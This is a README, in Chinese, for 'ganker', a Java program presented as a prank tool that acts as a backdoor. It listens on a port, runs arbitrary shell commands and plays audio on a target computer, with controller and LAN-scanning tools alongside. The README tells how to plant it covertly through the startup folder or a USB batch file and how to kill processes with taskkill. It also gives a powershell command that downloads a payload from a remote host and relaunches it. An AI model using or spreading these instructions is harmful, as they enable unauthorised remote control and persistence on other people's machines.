/ganker

一個能煩死別人的小程式

Primary LanguageJava

ganker

一個能煩死別人的小程式
能從遠端朝惡作劇目標電腦定時放音樂,或執行cmd指令

各檔用途

  • ganker.java
    一個沒有gui的java程式,監聽預設port8787來執行命令,port可由執行參數中修改
    執行時需於jar檔案路徑/music/內放入名為musicwav格式聲音檔,作為gank時播放使用
  • gankerController.java
    控制ganker用的程式,可以下達ganker命令,將於後方說明
    啟動時預設連線localhost:8787,可於執行參數中修改
  • gankerControllerController.java
    控制gankerController用的程式,可掃描目前同區域網路下的ganker,並開啟對應的gankerController
    啟動時預設掃描port8787,可於執行參數中修改
    此檔案編譯時需要用classpath連結gankerController.java

ganker命令

  • 整數
    將於整數毫秒後開始播放音樂
  • cmd:指令
    將執行指令內容,如果在windows下將於cmd內執行
    注意:有些命令不被支援,可以嘗試呼叫新的cmd後再執行不支援的命令
  • stop
    停止播放音樂
  • exit 結束ganker程式

使用方法

在要惡作劇的目標電腦上執行ganker.jar,或是更派一點,把ganker.jar放到開機自動啟動資料夾
再在同區域網路內其他台電腦(或是惡作劇目標本身也行)上執行gankerController.jar,如果不在惡作劇目標電腦上執行,記得在執行時給予gankerControllerIP參數,指向惡作劇目標,如果ganker的port設定不是預設的8787,記得也要改gankerController的第二個參數
然後就可以輸入ganker命令
如果不知道惡作劇目標在區域網路的哪個IP,可以使用gankerControllerController來尋找

詳細使用方式

ganker.jar

命令列:java -jar ganker.jar [port]
port預設為8787
如果指定port已被佔用的話,ganker會嘗試以關閉ganker的方式關閉他,意思就是啟動第二個ganker時第一個就會關閉,也可以用這方法來重啟ganker(更新時會用到)

gankerController.jar

命令列:java -jar gankerController.jar [ip] [port]
ip預設為localhost
port預設為8787
GUI操作:

  • 左上文字框:指令輸入
    可用enter送出,上下鍵從歷史紀錄選擇上/下一條指令
  • 右上文字框:當左邊輸入數字時,將會乘以右邊的倍率送出(預設倍率為毫秒->分鐘)
  • send按鈕:送出命令
  • stop按鈕:快速鍵,送出停止播放命令
  • check按鈕:檢查目標ganker是否還活著
  • exit按鈕:快速鍵,送出關閉ganker命令

gankerControllerController.jar

命令列:java -jar gankerControllerController.jar [port]
port預設為8787 GUI操作:

  • 選項reload
    重新掃描區域網路下的ganker
  • 選項ip:port
    開啟相對的gankerController

應用方式

基本用法:可以把惡作劇目標電腦開滿計算機,或是在使用到一半開始抬棺等等
進階用法:用taskkill指令砍掉正在運作的程式
超強用法:呼叫powershell下載檔案,也可以用這方法遠端更新ganker
快速植入:寫一個batch檔在隨身碟,一執行就把ganker丟到開機自動啟動資料夾,然後執行

遠端更新ganker方式

必須要先確保對方能用網路連到你的電腦

Windows:

  1. 使用fileServer,或是自己架簡單的檔案伺服器,反正要能從網路取得資源就是了
  2. 然後將新的ganker.jar放入檔案伺服器的檔案系統,然後啟動檔案伺服器
  3. gankerController中輸入cmd:powershell -Command "(New-Object net.WebClient).downloadFile('這裡填入你的ganker.jar網路資源', 'ganker.jar')"
    例子:cmd:powershell -Command "(New-Object net.WebClient).downloadFile('http://192.168.0.87/ganker.jar', 'ganker.jar')"
  4. 然後在gankerController中輸入cmd:javaw -jar ganker.jar重啟ganker

其他系統:

看到其他這兩個字就知道發生什麼事了吧
對,窩不知道其他系統怎麼打指令,反正原理就是這樣,自行變通一下吧

警語

不要玩太過頭喔

更多資訊

https://incognitas.net/works/ganker-1/